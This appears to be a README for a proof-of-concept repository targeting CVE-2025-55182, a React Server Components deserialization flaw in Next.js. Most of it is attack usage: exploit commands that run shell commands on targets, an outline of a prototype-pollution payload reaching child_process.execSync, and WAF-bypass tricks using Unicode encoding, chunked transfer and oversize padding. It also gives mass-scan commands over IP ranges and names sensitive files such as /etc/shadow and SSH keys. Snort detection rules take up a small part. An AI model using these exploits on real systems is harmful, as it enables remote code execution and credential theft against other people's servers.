
CVE-2025-55182-POC
Collection of exploit and detection tools for React Server Components (RSC) Unsafe Deserialization vulnerability
docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ - Vulnerable Server Action codeexploit_advanced.py - Supports multiple attack techniques (Basic/Advanced/Chunked/Oversize)rsc_vulnerability_checker_multi.py - Multi-target vulnerability diagnostic toolrules_priority_based - Snort priority-based detection rule setcd vulnerable-app
docker-compose up -d
# Visit http://localhost:3000
# Single URL test
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# Batch scan multiple URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP range scan
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# Read from file
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# Basic attack
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# Advanced attack (prototype chain + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# WAF bypass - Unicode encoding
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# WAF bypass - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# WAF bypass - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# Try all techniques sequentially
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# Capture attack traffic
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# Analyze with Snort
snort -c snort.conf -r attack.pcap -A console -k none
Direct RSC Flight payload transmission
# Direct Server Action call
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
RCE via prototype pollution
// Core principle
{
"then": "$1:__proto__:then", // Triggers Chunk.prototype.then
"_response": { // Inject fake response
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // Access Function constructor
}
Attack chain:
__proto__ pollution_response object$B handler calls response._formData.get(id)constructor:constructor chainprocess.mainModule.require('child_process').execSync(cmd)Pattern distribution using Transfer-Encoding
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
Bypass AWS WAF size limit
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: inspects only the first 8KB
# Actual attack code placed after 8KB
process.mainModule.require + child_process + execSync__proto__ + resolved_model + RCE module/etc/passwd, /etc/shadow, .ssh/id_rsarequests library
pip install requests
# Single URL
python3 rsc_vulnerability_checker_multi.py http://target.com
# Multiple URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP range scan (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# IP range scan (hyphen)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# File input/output
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Verbose mode
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout
--basic: Direct RSC Flight payload transmission--advanced: Prototype chain + thenable technique--chunked: Transfer-Encoding split transmission--oversize <size>: Oversize payload (default: 65536 bytes)--all: Try all techniques sequentially--waf-bypass: Unicode encoding (constructor → \u0063onstructor)--chunked: Pattern distribution--oversize: Bypass AWS WAF size limit-v, --verbose: Detailed output-t, --timeout: Request timeout (default: 10 seconds)experimental featuresrules_priority_based)__proto__ keywordprocess.mainModule.require pattern# Snort real-time monitoring
snort -c snort.conf -i eth0 -A console
# Log file analysis
snort -c snort.conf -r network.pcap -A fast
This material is for research/education/diagnostic verification purposes only.